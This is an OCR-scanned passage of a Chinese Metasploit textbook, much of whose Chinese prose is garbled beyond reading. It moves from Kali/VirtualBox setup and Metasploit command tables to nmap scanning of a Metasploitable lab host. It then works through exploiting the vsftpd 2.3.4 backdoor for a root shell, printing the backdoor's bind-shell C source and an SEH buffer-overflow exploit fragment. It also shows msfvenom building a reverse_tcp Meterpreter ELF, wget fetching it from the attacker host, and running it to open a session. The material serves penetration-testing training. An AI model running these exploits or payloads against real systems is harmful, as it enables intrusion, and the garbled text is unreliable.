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def exploit
connect
weapon = "HEAD "
weapon << make_nops (target['Offset'])
weapon << generate_seh_record(target.ret)
weapon << make_nops (19)
weapon << payload.encoded
weapon << " HTTP/1.0\r\n\r\n"
sock.put (weapon)
handler
disconnect
end
end
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weapon << generate_seh record(target.ret)

weapon << make_nops (19)
weapon << payload.encoded
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“ | Welcome to VirtualBox!

The left part of this window is a list of all virtual machines on your computer.
The list is empty now because you haven't created any virtual machines yet.

b —
In order to create a new virtual machine, press the g’ ' “‘/_
New button in the main tool bar located at the top g 7

of the window, 2

N ‘)

m

You can press the F1 key to get instant help, or visit

www.virtualbox.org for the latest information and 5 'Q*
N

news. N

)

\§
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(4) TEName SCANEF B H R 7 MEE R G A — DS E M AR . SR 5 1% Ff operating
system2& Y Fll Version.,

(5) BUE LR — R E RS, H e THAE P New,

Q X} FKali LinuxiMi 5, 5 2R RE RS ZSRIE R N Linux, ARAES: A Linux 2.6/3.x/4.x.
Q &K&W LUG R E TR

“reate Virtual Machine

Name and operating system

Name: |Ka|i Linux |
Type: |Linux - E
Version: |Linux 2.6 / 3.x / 4.x (64-bit) -

Memory size

S S —— N

4 MB 16384 MB

Hard disk

(O) Do not add a virtual hard disk
@ Create a virtual hard disk now

(O Use an existing virtual hard disk file

Metasploitable.vmdk (Normal, 8.00 GB) A

Guided Mode Cancel

(6) BEBE AL XA L RGBT B NAE . QR EKali Linux i, W ZE/DES53EC1 GB
M RGN

(7) B PORE B R G B RS 5425 [V N KRl R G 35 o ) A UL 735 ) e 2
#EPfdynamically allocated diskZET . FEFEIX N BEI A9 44 Wit 2 Y B LT $2 LAY Bl 552 8] mT DA Bt 5
BRSBTS b — IR M BC 45 MU0 3R 8 K Al 5 98 Ui

(8) RJE BCE LA AU R LR I RE ST UG /)N, TEIX L& 10 GBRLAE S T,
(9) BUAERT LU Create e SR B REAUREBE T

(10) Fiy Startt e HUT IR T B IR SE . SB—Uasfrif, @F il — 0w H, BRies—
WABAT o TEHAEFAIEHE T o Kalifl) iso SCIF s EAFERERE DAY B2 ), Fdi Starthi (AR S 22
Pk XAERATE TR,




D % 1% £ Metasploit 515 ] KX AE 42

|
B L - PP \IRA A7
b.“lgl Kali Linux [Powered Off] - Oracle VM Virtu

select start-up disk

Please select a virtual optical disk file or a physical optical
drive containing a disk to start your new virtual machine from.

The disk should be suitable for starting a computer from and
should contain the operating system you wish to install on the
virtual machine if you want to do that now. The disk will be
ejected from the virtual drive automatically next time you
switch the virtual machine off, but you can also do this
yourself if needed using the Devices menu.

kali-linwx-2.0-amd64. iso (3.08 GB) | &

& EI ﬁ E i ) ¢ (%] Right ctrl

YRA] LA Liveli 3z 17Kali Linux , 5% {#i F Graphical Install/Instal DEf 22 58 7k A 222 7R 4 I,
X FHE AN E T BTN

'\;ﬁ Kali Linux [Running] - Oracle VM VirtualBox = O hd

File Machine View Input Devices Help

“the quieter you become, the more you are able to hear”
Boot menu

Live (amd64)
Live (amdbt failsafe)

Live (forensic mode)

Live USE Persistence (check kali.org prst)
Live USB Encrypted Persistence Ccheck kali.org/prst)
Install

Graphical install

Install with speech synthesis

Advanced options

ey ™l E g
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A %Kali Linux#y T %% K 45 3, #77 Flhttp://docs kali.org/category/installation

dm & 38 id 4447 f£ Linux & % k& X Metasploit, 4 77 9] http://www.darkoperator.

0 com/installing-metasploit-in-ubunt/,

4n % J£ Windows #: 1F £ %tk % % Metasploit, #4359l vA T W At 69 242 . https:/
community.rapid7.com/servlet/JiveServlet/downloadBody/299-12-11-6553/windows-installation-
guide.pdf,

1.6 Metasploit £t

FNIAE N IEFRATE L M T 2@ M LRt N %S, WS8R T Kali LinuxPEES7 . 82 FoRA 4
— NESFSr . Metasploit, Metasploit/e—FI L2 HEZE, BB IR TR IREL T KE BB
B iR . 20034EH.D Moorefil|# T Metasploit, MIRZ i Metasploitfdi R & ok, ind-ok
PNNERNTRATIBENIR T H 22—, Metasploit/— 5 2R Ruby IR sh i H , #2407 K adls
%% Wizkfr (payload ). ZifdHi R LI G B BAER,

Metasploithfit T LI ZF A<

0 Metasploit Prohf: % f&Metasploitf)—REDILALIAS, $24E T IR ZhEE, #lanwWeb)ii
P TR | REFRASE TR AgbBE TR, Horia Lz @i TR AT
AABMEH . Prohfil & F S = i B LA e 20 H .

O Metasploit Expresshiy: iXJ&— 1 AWK B &K TR MA . XA
Metasploitfl % | I HEZI%E . BRS0 H S IBg & Dine, +oria G /Nl A9IT
AP BMET

0 Metasploit CommunityhR: 3% &Metasploit Expressii i J5 (0 S 25 ifAS . % T/ sl Fi2y A
VLI — AN

O Metasploit Frameworkhfi: X /& —M5E2TEAATHBITIMAS . XA I PIT AT AT 55 815 4E
AT IR, WINGETT380%E | 58 = r B A S IMUASIE G R N AR 258 A0 .

A FR 2R FH ) /& Metasploit Community it fllFramework it . Metasploitifs $243E T 11 JLFh 2 Y

) P LI

0 GUI (Graphical User Interface) FE: 7EEIEACTARRAT , RS —T Bbrataese
BT BATS5 o R AR ARt T A AR AR =R ) P i i) A8 2 =X

QFHERE: ST E BB RATH T XFPFUESRAL T —Fhg— ) TR =20k
EH Metasploit I I A DI RE . XA B Wil WU R B AR IR k2 —. A
P, SRR 2R R Y

Q G{TRE: mAT R ZIRERC R, &3NS SR A £ (Bin
BEEEATHAER) o SRMIFEREHar AT R, 108 — a0 4 e



14 % 1% ik Metasploit %% M X AR %

O Armitage: Armitages&Raphael MudgeZis 19—~ 7il 1 R % KA GUIAL T . Armitage
PRCEE AR EE . B AONMAPEH RIS B Tt . 8t {4 FH Cortanall K ST3H
A EIIRE. A5 R)n T — 8 5 1 A AR A EO 7 Armitage M CortanalIli AR T 75

community/Metasploit/blog/2011/12/21/Metasploit-tutorial-an-introduction-to-Metasploit-

0 # % Metasploit Community i& ¥ £ % 12 &, 3 7% [¥] https://community.rapid7.com/

community.

1.7 {EF Metasploit #{Ti51EM)iz

fEKali Linux @7 582 )5, &l FHMetasploitHF R FRAT TS —MBE K . A AT iRiX

AMMEXZ R, ek mE— T Metasploit iy FEA DI REFIATE .

[ Metasploit BEAitiE0iH

ﬁEIij_ﬁMetasploitZ‘Jﬁ , BEAT LAIFEMetasploitf 2451 &5 L5 Ahelpfin4, Metasploit234]

WA AT DM B4 o 352 R R Bl JEi— T 78 MetasploitH i FH R FE AR AR E

Q BIEES (exploit): XUE—BRT, 17 &AH BARY % 2T 2 T80 .

O KEHEHEER (payload ) : TEMIIRT BFREM—KBIEZ G, XBEFIFIGTE B britA
Pl ity ERERBIIRAI/E BAR R G AR MU T A T3l AR

O HENER (auxiliary ) : GE T —RINWHBI SCRAREEL, AFEERIEE . fuzzl AR &
PRASTHL | I PRSI B L B A — AR

O 4RA5SRIEIR (encoder ) : Fufth i i FRXT AT Ve e A T AHIRYE , ikt
HARL R HLRI AR, B bR 2R LT ARG A I O 45

O Meterpreter: Meterpreterfe—F i FINAFHOR I BGE BT, TTRNEAR#REZ et
TARRTLAE B bR FHATIIDIRE, TN T e 32 WG i e o 2y

BUAESR BB — R AR 25 HMetasploithf 2 BN FEA AT &0 RIS 17X Lo 2 B IR 1]

w2 B & ~
use [Awdliary/Bploit/ | e MEERBHIFEIIFE | meE>use
Payload/Encoder] T exploit/unix/ftp/vsftpd_234_backdoor
msf>use

auxiliary/scanner/portscan/tcp

show [exploits/payloads/ SR AT R TR A msf>show payloads
encoder/auxiliary/options] msf> show options
set [options/payload] A S R A msf>set payload

windows/meterpreter/reverse_tcp
msf>set LHOST 192.168.10.118
msf> set RHOST 192.168.10.112
msf> set LPORT 4444

msf> set RPORT 8080




1.8 4% A Metasploit #4775 &

MK B4 A B 15

(%%)

A A
ap <L

R &

=~ Bl

setg [options/payload]

A GIRE A R E 1R
ijc/)éé}% FERERBEA T MG
» I RAEA SR

msf>setg RHOST 192.168.10.112

Run Ei&ﬁ#’l‘ﬁ%ﬁﬁ%ﬁ%ﬁﬂ@@?ﬁ msf>run
WIZ S5, JABhiZl Bk
exploit BB — BB B msf>exploit
back HX(%%%@T%W#;%%H@@?H msf (ms08_067_netapi) >back
F—ZadEn msf>
Info ey ms£>info
exploit/windows/smb/ms08_067_netapi
msf (ms08_067_netapi)>info
Search R A KN e msf>search hfs
check A B 5 = ot msf>check
Sessions B 24w T &g msf>sessions [session number]

LI EMeterpreter ) —Lb44

Meterpreter &4 A 453 ~ f
sysinfo Bl W58 FAL RS L{p A meterpreter>sysinfo
ifconfig Bl w5 59E EALI 2R 42 10 meterpreter>ifconfig

meterpreter>ipconfig (Windows)
Arp SilHt FbREHL ARPZE(E HuhLRY IP | meterpreter>arp
kA1 MAC Hihit:
background Br— RO TF B R AR A R % meterpreter>background
2 ERe)
shell IRECEFBRFEHLHY—A cmd shell meterpreter>shell
getuid gj‘gﬂflﬂ:l'ﬁﬁﬂq)‘zém%‘ meterpreter>getuid
getsystem fmﬂ-ﬁ[ﬁ Z’;EHX(% L,,&*XISE% meterpreter>getsystem
getpid 3L Meterpreter 2315 1F H FrRENL meterpreter>getpid
AR RS
s FIH A bsENL LB TR ife | meterpreter>ps

i

Jm R 2 — KA fEMetasploit,

w17 9] http://www.offensive-security.com/metasploit-
unleashed/Msfconsole_Commands3)?313‘% TRRGAHE S8,

1.8 {FF Metasploit #{TiSiEMR AL

HEIHEBIBEZ IR Z R, U5 R A ZAf FMetasploit T HOR B Fahis B A . ZNH
SRR SR AR Mt 1) B XA ) 42 T 2oy TR AT BAAR Lol , i 2 A2 HA R R 7 548500 F-




16 % 1% ik Metasploit %% M X AR %

AR, EFEMetasploiti) )5 K 24 LT LA

1.8.1 R FRUE

P Metasploit 19 = 2B i 2 — it HRA A 0 T s LA SRR U M ) & g ot A i
ZARE T DS B T E, {H & MetasploitX) F P IR0 e (O EACES, JF B i dsin
H O U, B SR Metasploit ProfiAS Z U2 Y, HASRLIZI N HEY, 7T LLEF Metasploit
Community WU/E N .

1.8.2  XFARBYMLZMIR B9 32 45 LA B AE FI A9 6y 22 AL )

MetasploithE4E 412 H1, Aidik B 7 PR F8 Metasploitt i 4 I T g 24 20 o B Rk
TR L5 32 MR AL TR, A — N5, FRAOTIHXS A48 & T 3838200 R
St Mffi HMetasploitht, FRTTLAXTEEAS BARM AT A Sz &L, AL —G —5 HiZEA>
M, ¥EESBUE)E, HIanFM (subnet ) MFCEFNIHPREEE ( Classless Inter Domain Routing,
CIDR ), Metasploit#f 1] LA F g%t e A AL Tl LA & 30 B s b Bl o i an S = shili,
T A I 2000 RGN, R F MetasploitiZ B HEAL i) L5 44 K im: A s[RI FIAS 7 o

1.8.3 RIEMBHHARRE AN HRALH]

BONE BN SE, TEMetasploitiP PIH I 2 i 05 5 —— B4t T set payloadfin®
PO AT AT . KT 7EMetasploitt M\MeterpreterZ¢ i alt 4 shell% il 4 7 AT LA -43-87 i
A B HAREE, Blndsim— ", SRR sl 7Ear 2175 Ans fvenontll 7]
TRZ5 5 Mg — 4 N TR AT

1.8.4 FHIBEZRIAN

Metasploiti] LATE HFRTHEHL_EAS BB IR0 b g 7 455 588, i —> A LR 098 B
A HEERN AT RE ST R R G R, X TOE D EEA NI, ERXAMEOLN, FRATERA
B RGN L AR S .

BEXFE— N5 BRITELE T T—1WebllR55 %%, TEMEREMIE 5 H bR S &1
BT o XA IRSS AT AR B DR AESOR UG o IRBRAEIZA AT AWe? Zad#:F R MSOR 3 H
PRlR S FIRE S, DMEH—IRAR? H&, RBHRE e, BRSNS EE 7E
28 BATRAARE AR T o ik, LI F MetasploithE4E . MetasploitfF 37 3]
HIEFT BT, FRHASRME T RERNEB SR, flllpersistencefydtnl LA —4
X H bR AR5 R A 8 E



1.8.5 ERUAEEREFE

Metasploitf& it 1 — 558 09 KL AL B I, 53 SN2 =07 IR AL A BRER A (940
Armitage ) it TA BRI A XL F R EIAL T2 @ISR A, Blans TOMHR TR
I B Bhaly AR R ] SE I AB B IIRE . AT 1 LR PRAATHE X SR 55

1.9 FIREMLEZRYSIENM IR

1] Joi 5E Metasploit fY FEA A, % ifiMetasploitiZ i Z ik T o TEX HUBH A — N PHdE, JF
SRS BARIPAHCIIE B o FRAT DK S IR Z A2 1432 1 M 454 B Bk S8 ik AT 55

191 B

R XS — DRI T R, IF HE 258 T RTIAZE BB A TAE . A7E Fl 2 —
AR AYIPHIHE , FHAETRATTEA 15312 HFRIPH bk AT A AH OG 15 B o FoAT PR 2L F K ali LinuxdAF
RYERTERGX KNS o EMERGETES TIRZMF LM TR, Y TZ28E
i N TATHILinuxi8/E 245

0 T3 B ey, KAVEE T PR T %/ MMetasploitable 2 & %t A= — />~ Windows
Server 2012 % %,

1.9.2 EEWE&E

WEANRT SO A RIBEE , TE(5 SR M BN i 564 BARIEE R T2 BIHHC 5 2. T3
R SIS T 0 O . bannergRHL, LIRSS B bRRs Sk 51025 mp H AL 1 7
KXo B, BATENRE AR R — A 1PHuht . e vl sh ol Ak p s, Hi%
KBS R R IR R B

FRATR X R H AR R S B ik, EEAFR T AR . bannerd KU AR | pingH i H A
( Hry2giE HAs EVURHRIEL ) LLURSGS R

NMAPHEUEBH 2 5 A 31 T N B RER S T H 22— IINMAPAE S5 ol LU A b 5 A
Fl|MetasploitH, MetasploitN' & | 4 AEDIRE, FIHIXNIIREFKA T RETEMetasploittH FAf TNMAP
8, PR A R AR

A ANMAP2# 69 % %1% 8., % Flhttp://nmap.org/bennieston-tutorial/,

HeH— AKX TNMAPH M AL 69 B 4 : http://www.packtpub.com/networking-
and-servers/nmap-6-network-exploration-and-security-auditing-cookbook




18 % 1% ik Metasploit %% M X AR %

1.10 {£ Metasploit F{#F A EIEE

P55 MR A 45 AR A E— DA AL RS o SOREHE BYFRAT TN 56 T X YR8 B I A9 R
o AT SEEXANINAE, AT LA FiMetasploitN B SR . BfMetasploit 5 8008 4 2 37 3% ] LA
IR RERE , e Rt . T RS T —ANH SEdREE N ST .

msf > search ping
Module database cache not built yet, using slow search

SRR AR, AT LA PN 42 M etasploit i 8 ZE IR 55 -

root@kali:~# service postgresqgl start
root@kali: ~#msfdbinit

unvser\uce postgresqgl startjﬁﬁETPostgreSQLdatabaseHlﬁ%E’J?ﬂﬁ“ﬂﬁ, (]3] /7\

ms fdbinit 5E i T MetasploitH PostgreSQLAL I 12 1 B F) i Ak TA%
Bl PE R EI TR AR b2 5, Se] LAET R AN T 442K i BiMetasploit :

root@kali:~#msfconsole

& A 2 n diMetasploit, Jo sl DS ST B TR

*

+ *
T o o o HERREBE o s o #84
wagg /0 N/ N/ HHBRAR B ;TN TN TN #E#
# WAVE 4 #####44% SCORE 31337 ###4#AHBEAGRIRBEGAREARERERERRRBREE HICH FFFFFFFF #

http://metasploit.pro

Payload caught by AV? Fly under the radar with Dynamic Payloads in

Metasploit Pro -- learn more on http://rapid7.com/metasploit
=[ metasploit v4.11.5-2016010401 1

+ -- --=[ 1519 exploits - 875 auxiliary - 257 post 1

+ -- --=[ 437 payloads - 37 encoders - 8 nops 1

+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp |

msf > db_status

[*] postgresql connected to msf

msf >

BUAE AT UG I iy 4 oK 228 Rl e AR -

msf>db_status

TS R A A IR A A A S R R 1, LG R R U T ORI R
g, LRISRCASEIRAEE T, M H eSS SR,
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19

T2, AR B B R A AR A, T AE A T i 4

db_ connect

i A=A Ry o IZar S W, PEASRAEIRZS 1 T P TiZa 2 RUR .
msf = db connect
[*1 Usage: db_connect <user:pass>@<host:port>/<database>
[#] OR: db_connect -y [path/to/database.yml]
[*] Examples:
[*] db connect user@metasploit3
[*] db_connect user:pass@192.168.0.2/metasploit3
[*1 db_connect user:pass@192.168.0.2:1580/metasploit3
mst = db driver
[*1 Active Driver: postgresql
[*] Available: postgresql, mysqgl
J T REIEREREIRE, A TFEdo_connect My A 5 AT P 44 . 2505 | i 115 DLSCBOR P2

PR

K HABAZ DB AR

JEAT AR . T RA BT T X SO 2 o

ol

D
~

[ -

db_connect

db_export
db_nmap

db_status

db_disconnect

db_import

db_rebuild_cache

A BRONBAR P Z SN B 22 1.

TR B P b ORAF VBRI S 8 Aok R AR K2 & T A

FHSRAE FANMAPER f-3f FAREA T, JFHF 5 R IR A7 B Metasploitiy it &
FRAR A R HESE T SRR R+

ik IS 52 B BcdiE 4 T

P T B e S AR B A i TR (filAnNessus, NMAPS) FHEE R

TR FEFRALEAT, T2 HAE TR E R R Z AT A SO rh e i s oL A i

BAERMTC 2 T T 5 EARPEACRI 4, H T ORAE B AR ST —KNMAPH .

msf > db_nmap -sV -p 21,22,25,80,110,443,445 192.168.10.112

[*1
(]
[*}
[*]
[*1

[*1

[*1
mst

t/ .

Nmap :
Nmap:
Nmap :
Nmap :
Nmap :
Nmap :
Nmap :
Nmap:
Nmap :
Nmap :
Nmap :
Nmap :
Nmap :
kernel

Nmap:

> 1

PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
80/tcp open http
110/tcp closed pop3
443/tcp closed https

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-03-21 07:41 EDT
Nmap scan report for 192.168.10.112
Host is up (0.00080s latency).

VERSION
vsftpd 2.3.4
= OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0)
Postfix smtpd
Apache httpd 2.2.8 ((Ubuntu) DAV/2)

445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)

MAC Address: 08:00:27:9B:25:A1 (Cadmus Computer Systems)

Service Info: Host: metasploitable.localdomain; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux
Service detection performed. Please report any incorrect results at https://nmap.org/submi

Nmap done: 1 IP address (1 host up) scanned in 8.87 seconds




20§19 A Metasploit ikl KiE &

1E L b, FRATE H ao_ nmapﬁﬁ‘\){i}ﬁﬁﬁét% H SR AF - Metasploit i BIE E . 8
K& RSl T -svE I, XFERNMAPEX HAR EVL RS T, S8-pFoR
B H AR FE T

R, H RSP T EHL B T R . N servicesir @8 HAE H AR
FIEFTRIRSS , AR TR

msf > services

Services

host port proto name state info

192.168.10.112 21 tecp ftp open vsftpd 2.3.4

192.168.10.112 22 tecp ssh open OpenSSH 4.7pl Debian 8ubuntul protocol 2.0
192.168.10.112 25 tcp smtp open Postfix smtpd

192.168.10.112 80 tcp http open Apache httpd 2.2.8 (Ubuntu) DAV/2
192.168.10.112 110 tcp pop3 closed

192.168.10.112 443 tep https closed

192.168.10.112 445 tcp netbios-ssn open Samba smbd 3.X workgroup: WORKGROUP

HIPE L, 8 AR LT B RS . Tl flservices —ufig X M Fz 7Y
M55 AT g, i IERIAERATT TR

Iggi > services -u

Services

host port proto nhame state info

192.168.10.112 21 tcp ftp open vsftpd 2.3.4

192,168,10.112 22 tcp ssh open OpenSSH 4.7pl1 Debian 8ubuntul protocol 2.0
192.168.10.112 25 tcp smtp open Postfix smtpd

192.168.10.112 80 tecp http open Apache httpd 2.2.8 (Ubuntu) DAV/2
192.168.10.112 445 tcp netbios-ssn open Samba smbd 3.X workgroup: WORKGROUP

WA i host s AU P T A B ML, SRR BER o

msf > hosts

Hosts
address mac name os_name os_flavor os sp purpose info comments
192.168.10.112 ©8:00:27:9b:25:a1  Linux server
0 AR B FEW %15 8., 95 Flhttps://www.offensive-security.com/metasploit-
unl eashed/using-databases/,,

1.11 BUhERE

HFEWE, A EPRT AL LS T E KRS . EVUE BW SRR T B E R 52
%:J:Llnuxﬂ'ﬂ o IFETEMetasploitH 2 H—A il % b A 2B AR
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msT > services -u

Services

host pPert prote name state dinfeo

192.168.10.112 21 tcp Ttp open vsTtpd 2.3.4

192.168.10.112 22 tcp ssh open OpenSSH 4.7pl Debian Subuntul protocol 2.0
192.168.10©.112 25 tcp smtp open Postfix smtpd

192.168.10©.112 86 tcp http open Apache httpd 2Z.2.8 (Ubuntu) DAV/2
192.168.10.112 445 t<p netbicos-ssn  open Samba smbd 3.X werkgroup: WORKGROUP

msT > search vsTtpd

Matching Modules

Name Disclosure Date Rank Description

exploit/unix/frtp/vsTftpd_234_ backdoor 2011-07-03 excellent VSFTPD v2.3.4 Backdoor Command
Execution

msf > use exploit/unix/ftp/vsftpd 234 backdoor
msf exploit(wsftpd 234 backdoor) = [

AT E 2 18 Metasploit #8511 XF W AR 55 I i 09 B @A B, Z R BB ST al LIA R
http://www.securityfocus.com/bid/48539/discuss Fl http://scarybeastsecurity.blogspot.in/211/7/alert-vsft
pd-download-backdoored. html P4~ G Il . FRATTHT LA &7 28 b & X N B R AFAE TR Y, B
A — Al L i SR S AT T

1.12 VSFTPD 2.3.4 FI 1HRIE 2

TEXT B AR 22 5, Al RA Al A exploit/unix/ftp/vsftpd_234_backdoor iy & 1E
Metasploit 1 AAHVEEL AL, I i nf o X I 40 1 A 74007, 25500 PR

El
@
=

> use exploit/unix/ftp/vsftpd_234_backdoor
f exploit(vsttpd 234 backdoor) > info

=
o

Name: VSFTPD v2.3.4 Backdoor Command Execution
Module: exploit/unix/ftp/vsftpd_234_backdoor
Platform: Unix
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-07-03

Provided by:
hdm <xghdm.io>
MC <mc@metasploit.com>

Available targets:
Id Name

0  Automatic

Basic options:
Name Current Setting Required Description
RHOST yes The target address
RPORT 21 yes The target port

Payload information:
Space: 2000
Avoid: 0 characters

Description:
This module exploits a malicious backdoor that was added to the
VSFTPD download archive. This backdoor was introduced into the
vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011
according to the most recent information available. This backdoor
was removed on July 3rd 2011.

References:
http://www.osvdb.org/73573

http://pastebin.com/AetT9s55
http://scarybeastsecurity.blogspot.com/2011,/07/alert-vsftpd-download-backdoored.html

M BRI RAL— E R R Descript iondf /i) HWIN Ik, #8XHX A vs £ epaliil A2 &R
BOHEAT TR 4




22 % 1% AU Metasploit 55 M XA

1.12.1 HEEE

XPvSFTPD 2.3 . 4 BTy H SR 8 o 10 211 3 11 A2 36 — A E 7 Y oK fih S T Y
vsf_sysutil_extra(); K%, —BERIIIAT, BarE RGR62008 3T —ET].

1.12.2 mEEERNETE
T ERE A T S BRI IR, SoRE T LS B A O A B

else if((p_str->p_buf[i]==06x3a)
&8& (p_str->p_buf[i+1]==0x29))
{

vsf_sysutil extra();

WTLIEREHE R, WM G X P AT SR TSR 0x3a (Bt ) Fox29HHIERL,
M2 B REO 2B & oAb, ARFAVFAIITE XA RETEAN S, 2 BB AR
BT, R,

pastebin.com,

ploits Database ; PS Panel cPanel

13
“%:E PASTEBIN o new paste trends APl tools faq

~int

-vsf_sysutil_extra(void)

-{

- int fd, rfd;

- struct sockaddr_in sa;

- if((fd = socket(AF_INET, SOCK_STREAM, @)) < @)

- exit(1);

- memset(R&sa, 8, sizeof(sa));

- sa.sin_family = AF_INET;

- sa.sin_port = htons(6200);

- sa.sin_addr.s_addr = INADDR_ANY;

- if((bind(fd,(struct sockaddr *)&sa,

- sizeof(struct sockaddr))) < 0) exit(1);

- if((listen(fd, 100)) == -1) exit(1);

- for(5;)

- {
rfd = accept(fd, @, @);
close(®); close(1); close(2);
dup2(rfd, ©); dup2(rfd, 1); dup2(rfd, 2);
execl("/bin/sh","sh", (char *)a);

-}

-}
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sa.sin_port=6200%-6200/F N EI TARSGH M, Midexecl (" /bin/sh", "sh", (char *)0);
AT A% 3] B AR SS a4 o

0 H AR BERESNG F 5458, 35 Fhttps://www.rapid7.com/db/modules/exploit/
unix/ftp/vsftpd 234 backdoor/,
1.12.3 BiBREREZEHER

P T R ZHRT I AERZI5, BERX HAR RS TEE . X HAR R T8 %
ZH, JeRAR — T EUE R, X BB T R a4, BRI R AT KR

msf exploitivsftpd_234 backdoor) > show options 7
Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name Current Setting Required Description

RHOST yes The target address
RPORT 21 yes The target port

Exploit target:
Id Name

0 nutomatlc

msf exploit(vsftpd_234 backdoor) > set RHOST 192.168.10.112
RHOST == 192.168.10.112

msf exploit(vsftpd_234 backdoor) > set RPORT 21

RPORT == 21

msf exploit(vsftpd_234 backdoor) > show payloads

Compatible Payloads

Name Disclosure Date Rank Description

emd/unix/interact normal Unix Command, Interact with Established Connection

msf exploit(vsftpd 234 backdoor) > set payload cmd/unix/interact
payload => cmd/unix/interact
msf exploit(vsfipd 234 backdoor) > I

XA HA PN EIR : RHOSTHAIRPORT ., BFRHOSTIE & N H AR FHLAYIPHILLE , KFRPORTIX
EoON21, XA TR A FTPAR 55 25 A (i FH Ad i 11 .

T AT LU fshow payloadsfin A il A 45 B BRIl F A Db 4imr . 763X FLIRAT]
HAeH 8 —ul IS #0, vt ond/unix/interact, fiffléi4set payload
cmd/unix/interact 8 EXNIH AT .

BEREIGE . WARRHATEE, SR EIR.
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msf exploit(vsftpd 234 backdoor) > exploit
[*] Banner: 220 (vsFTPd 2.3.4)

[*] USER: 331 Please specify the password.

Backdoor service has been spawned, handling...

[ UID: uid=0(root) gid=0(root)

[*] Found shell. I

[*] Command shell session 1 opened (192.168.10.118:55381 -> 192.168.10.112:6200) at 2016-03-21 07:50
117 -0400

whoami
root
pwd

[

TR RNBAEC LIRS T HR RS Wrooth BR . B PRz TaWe? BfE FZ3RE T
HARA— 1 shell#z il , TR IAE FEWR E IR KA HI =2, 13X — 0T DL i shell % il A2 h
Meterpreterfii 247 528

FA T ZRIE— AN % R BGE BT, AR5 R B AL S FAR RGP AT, 3k
Hl ISR —> B RGE I Meterpreterfis 247, 4 1, 3% FRBUITF IR IEERX — 1R

root@mm:~# msfvenom -p linux/x86/meterpreter/reverse tcp LHOST=192,168.10.118 LPORT=44
44 -f elf >backdoor.elf I

No platform was selected, choosing Msf::Module::Platform::Linux from the payload

No Arch selected, selecting Arch: x86 from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 71 bytes

rooteam: ~# ]

AT LU BT R I ms £venomfir 2B #E—Meterpreter U i 2oy, XA DIRET /38K o
SR -l WM MR EAT, LHosTRS E TATT H TR ALINIPHLEE, LrorTHE AT H O 1Y
[ ourbackdoor.elf IR 27E H AR AL L 4RI A FoA T8 2 AU IPHbhE At 11, IE4RAE—~ HART
AL Meterpretertl FR . S8-£52 L T H2A, elf—Fh T Linux SR RS ERIAY e 4

IAEBRAUAINA BAR RS E—shelldz i, Z2Kibackdoor.elf FA%E] HAR &G0 n] A& —1 &)
R, 1, FATEIR S A SIENL L ApacheflR 55, SR )5 Kibackdoor.elf SCHACE B R S5 o

root@mm;-# service apache2 start
root@mm:~# mv backdoor.el® /var/www/html/
rootemm: ~# |

He Pkl 4 service apache2 startiiizjApachefl55, SAFRXAGT 301 E 5] Apache
IR 55 A BRSO H b, SRl LALE BFR RGEMIRA TR N X AR S T,
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whoami

root

pwd

/

wget http://192.168.10.118/backdoor.elf

--03:43:37-- http://192.168.10.118/backdoor.elf
=> “backdoor.elf'

Connecting to 192.168.10.118:80... connected.

HTTP request sent, awaiting response... 200 0K

Length: 155

oK 100%
55.91 MB/s

03:43:37 (55.91 MB/s) - “backdoor.elf' saved [155/155]

FETORE AT LG b B —FEf Fwoet fird N #GX 30 B T iEMetasploitBE FIPE B &R T
MLEATEAS, BFREAERNTINARS LG sh— B B HIREF (handler ). iX{~handlerf1P3th
Tk 118 5 22 R Y backdoor.el fiY 15 B AHIH] , MetasploitZEff BiX ~handler>k 5 H b {5 o

msf > use exploit/multi/handler

msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 4444

LPORT => 4444

msf exploit(handler) > set LHOST

set LHOST 192.168.10.118

set LHOST feB80::a00:27ff:felb:9cf9%ethO

msf exploit(handler) > set LHOST 192.168.10.118
LHOST => 192.168.10.118

msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192,168.10.118:4444
[*] Starting the payload handler...

TEMetasploit 4T H — A L% 11, SRJE%HI Aexploit/multi/handlerfiid, WL
fﬁ%&%ﬁﬂggﬁﬂﬁﬁiiiﬁﬁlinux/xS6/meterpreter/reverse_tcpo %gjiﬂéfﬁﬁﬁﬁﬁé>set LPORT
4444 B WV, ffiflset DHOSTAHKFIPHIAEBE AL, BUAEHETT LA exploitind Kz
e, SRR E bR R S ]

M HARH LRI T8 T35, T U a2 chmod @ — G RORLER,, T &]
JIR .

03:43:37 (55.91 MB/s) - “backdoor.elf' saved [155/155]

chmod 777 backdoor.elf
-/backdoor.elf

WY T 7778 2 S5 i nl IO Ir g SO T . 5 AT #E . BT SCf, Uideslizts
EH BB handler Y 2% i .
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msf exploit(handler) > exploit
[*] Started reverse TCP handler on 192.168.10.118:4444

[*] Starting the payload handler...

[*] Transmitting intermediate stager for over-sized stage... (105 bytes)

[*] Sending stage (1495599 bytes) to 192.168.10.112

[*] Meterpreter session 1 opened (192.168.10.118:4444 -> 192,168.10.112:55169) a
t 2016-03-21 08:08:15 -0400

meterpreter > |j

TGS MAERMTC 23K T HAR RS M Meterpretertl FR . 42 T k(i FH IS 2 B HOR I 4R
AR &R SE B —2E A HfE R

meterpreter > sysinfo
Computer : metasploitable

0S : Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00
UTC 2008 (1686)

Architecture : i686

Meterpreter : x86/linux

meterpreter > JJ

PdTsysinfofird, MTLIAFIXA AAR RGN 45K K metasploitable (02— MRFEIRE TR
ZITRRTTEAL ), A 1686, PIRZMRAS #2.6.24-16.,

FTORPAT LA RS, MBS AR RS ERZRE B

meterpreter > ifconfig

Interface 1

Name : lo

Hardware MAC : 00:00:00:00:00:00
MTU : 16436

Flags : UP LOOPBACK RUNNING

IPv4 Address : 127.0.0.1

IPv4 Netmask : 255.0.0.0

IPv6 Address : ::1

IPv6 Netmask : FFff:Frff:Ffff: FFFF-FEFF:FFFF:FEFF:FIFF

Interface 2

============

Name : ethe

